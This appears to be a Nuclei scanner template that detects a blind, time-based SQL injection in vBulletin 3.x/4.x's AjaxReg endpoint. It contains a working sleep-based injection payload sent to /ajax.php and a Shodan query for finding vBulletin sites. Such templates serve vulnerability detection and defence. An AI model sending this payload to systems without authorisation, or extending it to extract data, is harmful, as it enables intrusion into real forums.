id: vbulletin-ajaxreg-sqli

info:
  name: vBulletin 3.x / 4.x AjaxReg - SQL Injection
  author: mastercho
  severity: critical
  description: |
    vBulletin versions 3.x and 4.x suffer from an AjaxReg remote blind SQL injection vulnerability.
  reference:
    - https://packetstormsecurity.com/files/118703/vBulletin-3.x-4.x-AjaxReg-SQL-Injection.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-89
    cpe: cpe:2.3:a:vbulletin:vbulletin:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"vBulletin"
    product: vbulletin
    vendor: vbulletin
  tags: time-based-sqli,packetstorm,vbulletin,ajaxreg,sqli,vuln

http:
  - raw:
      - |
        @timeout: 20s
        POST /ajax.php?do=inforum&listforumid=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'"%2B(select(0)from(select(sleep(6)))v)%2B"*/&result=10 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        undefined&s=&securitytoken=guest

    host-redirects: true
    max-redirects: 3
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains_any(header, "bb_lastvisit", "bb_sessionhash")'
        condition: and
# digest: 4a0a004730450220520887b818bec26ecc4f8f740af24f8997bd228d27fe12e15afa8647c21ed164022100977535a2e242a4d5d88c225c11d3161670a21f0382a675cd7691040711b25bfe:922c64590222798bb761d5b6d8e72950